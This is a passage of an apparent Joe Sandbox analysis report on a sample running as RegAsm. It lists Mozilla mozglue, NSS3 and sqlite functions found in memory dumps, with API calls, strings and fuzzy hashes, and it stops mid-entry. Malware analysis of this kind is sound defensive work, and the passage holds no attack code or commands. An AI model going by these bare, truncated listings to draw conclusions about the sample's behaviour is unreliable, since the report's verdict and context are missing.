Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 4e04433080f5c1cc2cf78fa0c44cfc4abe8c592bac62e9cf1ab112e089cad860
Instruction ID: 35bfac7edc6f14eee1519d4aaf0d7a61287a9bf13148e660e4d26f28d9b8ac4e
Opcode Fuzzy Hash: 4e04433080f5c1cc2cf78fa0c44cfc4abe8c592bac62e9cf1ab112e089cad860
Instruction Fuzzy Hash: EBC173B1A002199BDB10DF24CC80BDABBB8BF59318F1441A8D94CA7741E775EE95CF92

Function 6C8B9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C8B8273), ref: 6C8B9D65
free.MOZGLUE(6C8B8273,?), ref: 6C8B9D7C
free.MOZGLUE(?,?), ref: 6C8B9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C8B9E0F
free.MOZGLUE(6C8B946B,?,?), ref: 6C8B9E24
free.MOZGLUE(?,?,?), ref: 6C8B9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C8B9EC8
free.MOZGLUE(6C8B946B,?,?,?), ref: 6C8B9EDF
free.MOZGLUE(?,?,?,?), ref: 6C8B9EF5

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 4a6326e9d29e3575f5bbae2c2744d4a3e91353a5d87b2ac222a8f9c819bca328
Instruction ID: 0caab478030ec1e104323a17220832a7efc6f9de32fa5727a1b689a28f66d4c8
Opcode Fuzzy Hash: 4a6326e9d29e3575f5bbae2c2744d4a3e91353a5d87b2ac222a8f9c819bca328
Instruction Fuzzy Hash: C271A27050AB41CBD722CF58C68055BF3F5FFA9315B448A19E85A5BB01EB30E885CBD1

Function 6C982C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(487476CF), ref: 6C982C5D

Part of subcall function 6C9E0D30: calloc.MOZGLUE ref: 6C9E0D50
Part of subcall function 6C9E0D30: TlsGetValue.KERNEL32 ref: 6C9E0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C982C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C982CE0

Part of subcall function 6C982E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C982CDA,?,00000000), ref: 6C982E1E
Part of subcall function 6C982E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C982E33
Part of subcall function 6C982E00: TlsGetValue.KERNEL32 ref: 6C982E4E
Part of subcall function 6C982E00: EnterCriticalSection.KERNEL32(?), ref: 6C982E5E
Part of subcall function 6C982E00: PL_HashTableLookup.NSS3(?), ref: 6C982E71
Part of subcall function 6C982E00: PL_HashTableRemove.NSS3(?), ref: 6C982E84
Part of subcall function 6C982E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C982E96
Part of subcall function 6C982E00: PR_Unlock.NSS3 ref: 6C982EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C982D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C982D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C982D3F
free.MOZGLUE(00000000), ref: 6C982D73
CERT_DestroyCertificate.NSS3(?), ref: 6C982DB8
free.MOZGLUE ref: 6C982DC8

Part of subcall function 6C983E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C983EC2
Part of subcall function 6C983E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C983ED6
Part of subcall function 6C983E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C983EEE
Part of subcall function 6C983E60: PR_CallOnce.NSS3(6CAE2AA4,6C9E12D0), ref: 6C983F02
Part of subcall function 6C983E60: PL_FreeArenaPool.NSS3 ref: 6C983F14
Part of subcall function 6C983E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C983F27

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 8e5d4571ab856fc0d06595d86086a9d43eaec2fc841913f2bd5ff1fc1a158fa8
Instruction ID: e4b694b1b2c07509b2745b6b89a2d3df9f71ce73a2ccab52346bd848663a0d53
Opcode Fuzzy Hash: 8e5d4571ab856fc0d06595d86086a9d43eaec2fc841913f2bd5ff1fc1a158fa8
Instruction Fuzzy Hash: 5C51E171A06B129BDB009F24DC84B6B7BE9EFA4308F150828EC5987651E731E815CB92

Function 6C9A8F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C99DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9A8FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C99DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9A8FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C99DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9A8FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C99DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C9A9013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C99DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C9A9042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C99DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9A905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C99DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C9A9073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C99DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C9A90EC

Part of subcall function 6C970F00: PR_GetPageSize.NSS3(6C970936,FFFFE8AE,?,6C9016B7,00000000,?,6C970936,00000000,?,6C90204A), ref: 6C970F1B
Part of subcall function 6C970F00: PR_NewLogModule.NSS3(clock,6C970936,FFFFE8AE,?,6C9016B7,00000000,?,6C970936,00000000,?,6C90204A), ref: 6C970F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C99DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C9A9111

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: 819889d52a7172fc8b374487a71b10aec53631390797d97e3e2fb30da0eeccff
Instruction ID: b50324dd02cac5b7de14218998a2c8bbc5e71a973fd8033e8233d3ce78c139a8
Opcode Fuzzy Hash: 819889d52a7172fc8b374487a71b10aec53631390797d97e3e2fb30da0eeccff
Instruction Fuzzy Hash: A5518B74A047168FDB44EFB8C488259BBF4BF49318F068569DC448B706EB36E986CB91

Function 6C8BDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C8BDDCF

Part of subcall function 6C89FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C89FA4B

Part of subcall function 6C8B90E0: free.MOZGLUE(?,00000000,?,?,6C8BDEDB), ref: 6C8B90FF
Part of subcall function 6C8B90E0: free.MOZGLUE(?,00000000,?,?,6C8BDEDB), ref: 6C8B9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8BDE0D
free.MOZGLUE(00000000), ref: 6C8BDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8BDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8BDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8BDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C8ADEFD,?,6C874A68), ref: 6C8BDF32

Part of subcall function 6C8BDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C8BDB86
Part of subcall function 6C8BDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C8BDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C8ADEFD,?,6C874A68), ref: 6C8BDF65
free.MOZGLUE(?), ref: 6C8BDF80

Part of subcall function 6C885E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C885EDB
Part of subcall function 6C885E90: memset.VCRUNTIME140(6C8C7765,000000E5,55CCCCCC), ref: 6C885F27
Part of subcall function 6C885E90: LeaveCriticalSection.KERNEL32(?), ref: 6C885FB2

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: cb45712381db9826c2f5e4ab6f44fa26ebf84f17ccc766b8866ab9bd89279719
Instruction ID: c51ae25ec7abfe2677ece7082a86160e83c5b6d20f3d0471beb732806d61dbae
Opcode Fuzzy Hash: cb45712381db9826c2f5e4ab6f44fa26ebf84f17ccc766b8866ab9bd89279719
Instruction Fuzzy Hash: C651B876605701ABD7319B18CA806AF7372BF95308F95092EE81A73B05D731F919CB92

Function 6C8C5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C8C5C8C,?,6C89E829), ref: 6C8C5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C8C5C8C,?,6C89E829), ref: 6C8C5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C8C5C8C,?,6C89E829), ref: 6C8C5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C8C5C8C,?,6C89E829), ref: 6C8C5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C8C5C8C,?,6C89E829), ref: 6C8C5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C8C5C8C,?,6C89E829), ref: 6C8C5DC9
std::_Facet_Register.LIBCPMT ref: 6C8C5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C8C5C8C,?,6C89E829), ref: 6C8C5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C8C5C8C,?,6C89E829), ref: 6C8C5E45

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 4e4f5a4466469d995f9f8b8f9d985c4958ca7336b0804121c826ed22cbca4005
Instruction ID: 60581b8ef51b2492ba73a117e0f93582379a8d43c129b161d89f8efa42036887
Opcode Fuzzy Hash: 4e4f5a4466469d995f9f8b8f9d985c4958ca7336b0804121c826ed22cbca4005
Instruction Fuzzy Hash: F5418F307003058FCF20DF69C998AAE77B5EF89359F144878E60697791DB34E805CBA1

Function 6C89CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C8631A7), ref: 6C89CDDD

Strings

<jemalloc>, xrefs: 6C89CF9F, 6C89CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C89CFA4, 6C89CFB8

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 9b39397eb1da5ecc4b06cfb7d446293885848bdbe073a8f6fa7e457126166d25
Instruction ID: a851937f6102735b7ae8e20cb4e08765d2b4689f2271476a73f89da25acfa8c3
Opcode Fuzzy Hash: 9b39397eb1da5ecc4b06cfb7d446293885848bdbe073a8f6fa7e457126166d25
Instruction Fuzzy Hash: AA31D8307402165BEF30AFADCE45B7E7B75AB45718F204824F516ABB81DBB1D400C7A4

Function 6C91E890 Relevance: 12.4, APIs: 5, Strings: 3, Instructions: 442stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C91E922
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C91E9CF
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C91EA0F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C91EB20
memcpy.VCRUNTIME140(?,?,?), ref: 6C91EB57

Strings

foreign key on %s should reference only one column of table %T, xrefs: 6C91EE04
number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 6C91EDC2
unknown column "%s" in foreign key definition, xrefs: 6C91ED18

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: memcpystrlen$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 638109778-272990098
Opcode ID: 404a623182f28a8ad203452b906925563007d8cc1499b891f614dbf47bb69756
Instruction ID: 9a58f08533be32708a556bc97b9bfe500dc7e987b9a54a0cae882083de6acae2
Opcode Fuzzy Hash: 404a623182f28a8ad203452b906925563007d8cc1499b891f614dbf47bb69756
Instruction Fuzzy Hash: ED02BF75E08109CFDB04CF99C485AAEB7F6BF89308F198169D806ABF51D731E941CBA0

Function 6C9E4DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C9E536F,00000022,?,?,00000000,?), ref: 6C9E4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C9E4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C9E4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C9E4FAE
free.MOZGLUE(?), ref: 6C9E4FC8

Strings

%s=%s, xrefs: 6C9E4F89
%s=%c%s%c, xrefs: 6C9E4FA9

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: a436980b3198a7aa3e28fdbc2dd72a3cc7f2d4396ce15d75bd478718fef64810
Instruction ID: ffff585021779541f87086269ca8ebdb9211e30f3413f87c8c4ca8b071ab9467
Opcode Fuzzy Hash: a436980b3198a7aa3e28fdbc2dd72a3cc7f2d4396ce15d75bd478718fef64810
Instruction Fuzzy Hash: 60512B31E052468BEB03CAE988507FF7BF99F6E308F188169E894A7A41D335D8558FD1

Function 6C86ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C86F100: LoadLibraryW.KERNEL32(shell32,?,6C8DD020), ref: 6C86F122
Part of subcall function 6C86F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C86F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C86ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C86EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C86EDCC
CreateFileW.KERNEL32 ref: 6C86EE08
free.MOZGLUE(00000000), ref: 6C86EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C86EE32

Part of subcall function 6C86EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C86EBB5
Part of subcall function 6C86EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C89D7F3), ref: 6C86EBC3
Part of subcall function 6C86EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C89D7F3), ref: 6C86EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C86EDC1

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 3442f9d601b3996ddda9605805b0a501abbb16249297a7de72bf0294643bc753
Instruction ID: 6d8ec4e33630736493b2af1d17920d6bed6acee2e7b8b20e6a7f20b0ecec24b2
Opcode Fuzzy Hash: 3442f9d601b3996ddda9605805b0a501abbb16249297a7de72bf0294643bc753
Instruction Fuzzy Hash: 8E519F71D053089BDB20DF6DCE406AEB7B1AF59318F448D2DE8556BB41E730A948CBE2

Function 6CA52F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA52FFD
sqlite3_initialize.NSS3 ref: 6CA53007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CA53032
sqlite3_mprintf.NSS3(6CABAAF9,?), ref: 6CA53073
sqlite3_free.NSS3(?), ref: 6CA530B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CA530C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CA530BB

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: a2feebc93b357a7c5d5f82907f4062b66edae861430b50e944fb133d0e780c6b
Instruction ID: 9d2437ba8af633bcf2221e8010d72850dd7602eaa408b65db8a3785297adae17
Opcode Fuzzy Hash: a2feebc93b357a7c5d5f82907f4062b66edae861430b50e944fb133d0e780c6b
Instruction Fuzzy Hash: EF418071601706ABDB00CF25D880A8AB7B5FF94358F59C628EC5987B40E731F9A9CB91

Function 6C8DA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C8DA565

Part of subcall function 6C8DA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C8DA4BE
Part of subcall function 6C8DA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C8DA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C8DA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C8DA6B6

Strings

0, xrefs: 6C8DA5FB
z, xrefs: 6C8DA6AE

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 9447328e408b692a582aa40215d8463639abfc33c5b34eabb8d1314ed5fb800d
Instruction ID: cadeb76d8063e1a7a95d06a52f6439e6ae72c96805adb7dc6454d65c6e964fcf
Opcode Fuzzy Hash: 9447328e408b692a582aa40215d8463639abfc33c5b34eabb8d1314ed5fb800d
Instruction Fuzzy Hash: 034147719087499FC351CF28D080A8FBBE4BF89354F508E2EF49987650EB30E949CB82

Function 6C998CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C9A124D,00000001), ref: 6C998D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C9A124D,00000001), ref: 6C998D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C9A124D,00000001), ref: 6C998D73
PR_Unlock.NSS3(?,?,?,?,?,6C9A124D,00000001), ref: 6C998D8C

Part of subcall function 6CA2DD70: TlsGetValue.KERNEL32 ref: 6CA2DD8C
Part of subcall function 6CA2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA2DDB4

PR_Unlock.NSS3(?,?,?,?,?,6C9A124D,00000001), ref: 6C998DBA

Strings

KRAM, xrefs: 6C998CF9
KRAM, xrefs: 6C998D3E

Memory Dump Source

